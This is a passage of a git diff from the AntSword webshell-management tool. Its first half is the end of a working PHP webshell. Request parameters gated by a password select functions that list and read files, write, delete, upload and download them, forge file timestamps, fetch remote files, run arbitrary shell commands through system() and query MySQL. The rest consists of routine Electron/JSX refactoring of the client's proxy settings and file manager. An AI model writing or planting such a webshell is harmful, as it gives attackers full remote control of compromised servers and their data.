$sql = "select * from ".$dbname.".".$table." limit 0,0"; // mysql + return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true); +} + +function query($encode, $conf, $sql){ + $columnsep = "\t|\t"; // general + $rowsep = "\r\n"; + return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true); +} + +function executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){ + $ret = ""; + $m=get_magic_quotes_gpc(); + if ($m) { + $conf = stripslashes($conf); + } + $conf = (EC($conf)); + + /* + localhost + root +

root

+ */ + $host=""; + $user=""; + $password=""; + if (preg_match('/(.+?)<\/H>/i', $conf, $data)) { + $host = $data[1]; + } + if (preg_match('/(.+?)<\/U>/i', $conf, $data)) { + $user = $data[1]; + } + if (preg_match('/

(.+?)<\/P>/i', $conf, $data)) { + $password = $data[1]; + } + $encode = decode(EC($encode)); + $conn = @mysqli_connect($host, $user, $password); + $res = @mysqli_query($conn, $sql); + $i=0; + if ($needcoluname) { + while ($col=@mysqli_fetch_field($res)) { + $ret .= $col->name.$columnsep; + $i++; + } + $ret .= $rowsep; + } + while($rs=@mysqli_fetch_row($res)){ + for($c = 0; $c <= $i; $c++){ + $ret .= trim($rs[$c]).$columnsep; + } + $ret.=$rowsep; + } + return $ret; +} + +function BaseInfo(){ + $D=dirname($_SERVER["SCRIPT_FILENAME"]); + if($D==""){ + $D=dirname($_SERVER["PATH_TRANSLATED"]); + } + $R="{$D}\t"; + if(substr($D,0,1)!="/"){ + foreach(range("A","Z")as $L) + if(is_dir("{$L}:")) + $R.="{$L}:"; + }else{ + $R.="/"; + } + $R.="\t"; + $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):""; + $s=($u)?$u["name"]:@get_current_user(); + $R.=php_uname(); + $R.="\t{$s}"; + return $R; +} +function FileTreeCode($D){ + $ret = ""; + $F=@opendir($D); + if($F==NULL){ + $ret = "ERROR:// Path Not Found Or No Permission!"; + }else{ + $M=NULL; + $L=NULL; + while($N=@readdir($F)){ + $P=$D."/".$N; + $T=@date("Y-m-d H:i:s",@filemtime($P)); + @$E=substr(base_convert(@fileperms($P),10,8),-4); + $R="\t".$T."\t".@filesize($P)."\t".$E."\n"; + if(@is_dir($P)) + $M.=$N."/".$R; + else + $L.=$N.$R; + } + $ret .= $M.$L; + @closedir($F); + } + return $ret; +} + +function ReadFileCode($F){ + $ret = ""; + try { + $P = @fopen($F,"r"); + $ret = (@fread($P,filesize($F))); + @fclose($P); + } catch (Exception $e) { + $ret = "ERROR://".$e; + } + return $ret; +} +function WriteFileCode($path, $content){ + return @fwrite(fopen(($path),"w"),($content))?"1":"0"; +} +function DeleteFileOrDirCode($fileOrDirPath){ + function df($p){ + $m=@dir($p); + while(@$f=$m->read()){ + $pf=$p."/".$f; + if((is_dir($pf))&&($f!=".")&&($f!="..")){ + @chmod($pf,0777); + df($pf); + } + if(is_file($pf)){ + @chmod($pf,0777); + @unlink($pf); + } + } + $m->close(); + @chmod($p,0777); + return @rmdir($p); + } + $F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath); + if(is_dir($F)){ + return (df($F)); + } + else{ + return (file_exists($F)?@unlink($F)?"1":"0":"0"); + } +} + +function DownloadFileCode($filePath){ + $F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath); + $fp=@fopen($F,"r"); + if(@fgetc($fp)){ + @fclose($fp); + @readfile($F); + }else{ + echo("ERROR:// Can Not Read"); + } +} +function UploadFileCode($path, $content){ + $f=$path; + $c=$content; + $c=str_replace("\r","",$c); + $c=str_replace("\n","",$c); + $buf=""; + for($i=0;$iread()){ + $isrc=$src.chr(47).$f; + $idest=$dest.chr(47).$f; + if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){ + if(!xcopy($isrc,$idest))return false; + }else if(is_file($isrc)){ + if(!copy($isrc,$idest)) + return false; + } + } + return true; + } + return (xcopy($fc,$fp)?"1":"0"); +} + +function RenameFileOrDirCode($oldName, $newName){ + $m=get_magic_quotes_gpc(); + $src=(m?stripslashes($oldName):$oldName); + $dst=(m?stripslashes($newName):$newName); + return (rename($src,$dst)?"1":"0"); +} +function CreateDirCode($name){ + $m=get_magic_quotes_gpc(); + $f=($m?stripslashes($name):$name); + return (mkdir($f)?"1":"0"); +} +function ModifyFileOrDirTimeCode($fileOrDirPath, $newTime){ + $m=get_magic_quotes_gpc(); + $FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath); + $TM=strtotime((m?stripslashes($newTime):$newTime)); + if(file_exists($FN)){ + return (@touch($FN,$TM,$TM)?"1":"0"); + }else{ + return ("0"); + } +} + +function WgetCode($urlPath, $savePath){ + $fR=$urlPath; + $fL=$savePath; + $F=@fopen($fR,chr(114)); + $L=@fopen($fL,chr(119)); + if($F && $L){ + while(!feof($F)) + @fwrite($L,@fgetc($F)); + @fclose($F); + @fclose($L); + return "1"; + }else{ + return "0"; + } +} + +function ExecuteCommandCode($cmdPath, $command){ + $p=$cmdPath; + $s=$command; + $d=dirname($_SERVER["SCRIPT_FILENAME"]); + $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\""; + $r="{$p} {$c}"; + @system($r." 2>&1",$ret); + return ($ret!=0)?"ret={$ret}":""; +} + +@ini_set("display_errors", "0"); +@set_time_limit(0); +@set_magic_quotes_runtime(0); + +$funccode = EC($_REQUEST[$pwd]); +$z0 = decode(EC($_REQUEST['z0'])); +$z1 = decode(EC($_REQUEST['z1'])); +$z2 = decode(EC($_REQUEST['z2'])); +$z3 = decode(EC($_REQUEST['z3'])); + +// echo ""; +echo "->|"; +$ret = ""; +try { + switch ($funccode) { + case 'A': + $ret = BaseInfo(); + break; + case 'B': + $ret = FileTreeCode($z1); + break; + case 'C': + $ret = ReadFileCode($z1); + break; + case 'D': + $ret = WriteFileCode($z1, $z2); + break; + case 'E': + $ret = DeleteFileOrDirCode($z1); + break; + case 'F': + DownloadFileCode($z1); + break; + case 'U': + $ret = UploadFileCode($z1, $z2); + break; + case 'H': + $ret = CopyFileOrDirCode($z1, $z2); + break; + case 'I': + $ret = RenameFileOrDirCode($z1, $z2); + break; + case 'J': + $ret = CreateDirCode($z1); + break; + case 'K': + $ret = ModifyFileOrDirTimeCode($z1, $z2); + break; + case 'L': + $ret = WgetCode($z1, $z2); + break; + case 'M': + $ret = ExecuteCommandCode($z1, $z2); + break; + case 'N': + $ret = showDatabases($z0, $z1); + break; + case 'O': + $ret = showTables($z0, $z1, $z2); + break; + case 'P': + $ret = showColumns($z0, $z1, $z2, $z3); + break; + case 'Q': + $ret = query($z0, $z1, $z2); + break; + default: + // $ret = "Wrong Password"; + break; + } +} catch (Exception $e) { + $ret = "ERROR://".$e; +} +echo $ret; +echo "|<-"; +?> \ No newline at end of file diff --git a/source/app.entry.jsx b/source/app.entry.jsx index 4754caab..172202cb 100644 --- a/source/app.entry.jsx +++ b/source/app.entry.jsx @@ -2,13 +2,11 @@ // 程序入口 // ------- // create: 2015/12/20 -// update: 2016/01/20 +// update: 2016/04/02 // 'use strict'; -const fs = global.require('fs'); -const path = global.require('path'); const electron = global.require('electron'); const remote = electron.remote; const ipcRenderer = electron.ipcRenderer; @@ -20,11 +18,21 @@ const antSword = window.antSword = { noxss: (html) => { return String(html).replace(/&/g, "&").replace(/>/g, ">").replace(/ { + // 读取 + if (!value) { + return localStorage.getItem(key) || def; + }; + // 设置 + localStorage.setItem(key, value); + } }; // 加载模板代码 -antSword['core'] = {}; ['php', 'asp', 'aspx', 'custom'].map((_) => { antSword['core'][_] = require(`./core/${_}/index`); }); @@ -35,22 +43,23 @@ _lang = ['en', 'zh'].indexOf(_lang) === -1 ? 'en' : _lang; antSword['language'] = require(`./language/${_lang}`); // 加载代理 -var _aproxymode = localStorage.getItem('aproxymode') || "noproxy"; -var _aproxyprotocol = localStorage.getItem('aproxyprotocol'); -var _aproxyserver = localStorage.getItem('aproxyserver'); -var _aproxyport = localStorage.getItem('aproxyport'); -var _aproxyusername = localStorage.getItem('aproxyusername'); -var _aproxypassword = localStorage.getItem('aproxypassword'); +const aproxy = { + mode: antSword['storage']('aproxymode', false, 'noproxy'), + port: antSword['storage']('aproxyport'), + server: antSword['storage']('aproxyserver'), + password: antSword['storage']('aproxypassword'), + username: antSword['storage']('aproxyusername'), + protocol: antSword['storage']('aproxyprotocol') +} +antSword['aproxymode'] = aproxy['mode']; -antSword['aproxymode'] = _aproxymode; +antSword['aproxyauth'] = ( + !aproxy['username'] || !aproxy['password'] +) ? '' : `${aproxy['username']}:${aproxy['password']}`; -if (_aproxyusername == "" || _aproxyusername == null || _aproxypassword == "" || _aproxypassword == null) { - antSword['aproxyauth'] = ""; -}else{ - antSword['aproxyauth'] = _aproxyusername + ":" + _aproxypassword; -} -antSword['aproxyuri'] = _aproxyprotocol + "://" + antSword['aproxyauth']+ "@" + _aproxyserver + ":" + _aproxyport; +antSword['aproxyuri'] = `${aproxy['protocol']}:\/\/${antSword['aproxyauth']}@${aproxy['server']}:${aproxy['port']}`; +// 通知后端设置代理 ipcRenderer.send('aproxy', { aproxymode: antSword['aproxymode'], aproxyuri: antSword['aproxyuri'] @@ -59,7 +68,7 @@ ipcRenderer.send('aproxy', { antSword['ipcRenderer'] = ipcRenderer; antSword['CacheManager'] = CacheManager; antSword['menubar'] = new Menubar(); -antSword['package'] = JSON.parse(fs.readFileSync(path.join(global.__dirname, '../package.json'))); +antSword['package'] = global.require('../package'); // 加载模块列表 // antSword['tabbar'] = new dhtmlXTabBar(document.getElementById('container')); diff --git a/source/modules/filemanager/files.jsx b/source/modules/filemanager/files.jsx index 11bbc978..1eab43ba 100644 --- a/source/modules/filemanager/files.jsx +++ b/source/modules/filemanager/files.jsx @@ -1,6 +1,6 @@ -// +// // 文件管理 模块 -// +// const LANG_T = antSword['language']['toastr']; const LANG = antSword['language']['filemanager']['files']; @@ -189,7 +189,7 @@ class Files { ${LANG['grid']['header']['size']}, ${LANG['grid']['header']['attr']} `); - grid.setColTypes("ro,ro,ro,ro,ro"); + grid.setColTypes("ro,ro,ro,ro,ro"); grid.setColSorting('str,str,str,str,str'); grid.setInitWidths("40,*,150,100,100"); grid.setColAlign("center,left,left,right,center"); @@ -413,6 +413,8 @@ class Files { id: _id, fname: file['name'], fsize: parseInt(file['size']), + // 如果是可执行文件(exe、dll..),则设置为红色字体 + style: /\.exe$|\.dll$|\.bat$|\.sh$|\.com$/.test(file['name']) ? 'color:red' : '', data: [ self.fileIcon(file['name']), antSword.noxss(file['name'].replace(/\/$/, '')), @@ -484,4 +486,4 @@ class Files { } -export default Files; \ No newline at end of file +export default Files; diff --git a/source/modules/filemanager/tasks.jsx b/source/modules/filemanager/tasks.jsx index 9a71591b..cdd6279b 100644 --- a/source/modules/filemanager/tasks.jsx +++ b/source/modules/filemanager/tasks.jsx @@ -1,6 +1,6 @@ -// +// // 任务管理 模块 -// +// /* 用法: @@ -18,6 +18,8 @@ class Tasks { constructor(cell, manager) { cell.setText(` ${LANG['title']}`); cell.setHeight(250); + // 默认折叠panel + cell.collapse(); // 创建表格 let grid = cell.attachGrid(); @@ -29,7 +31,7 @@ class Tasks { ${LANG['grid']['header']['stime']}, ${LANG['grid']['header']['etime']} `); - grid.setColTypes("ro,ro,ro,ro,ro"); + grid.setColTypes("ro,ro,ro,ro,ro"); grid.setInitWidths("100,*,150,150,150"); grid.setColAlign("left,left,left,left,left"); @@ -44,6 +46,8 @@ class Tasks { // task.update('20%'); // task.end('100%'); new(name, desc, progress) { + // 展开panel + this.cell.expand(); // 创建一个随机ID const hash = String(+new Date() + Math.random()).replace('.', '_'); this.grid.addRow( @@ -81,4 +85,4 @@ class Tasks { } -export default Tasks; \ No newline at end of file +export default Tasks;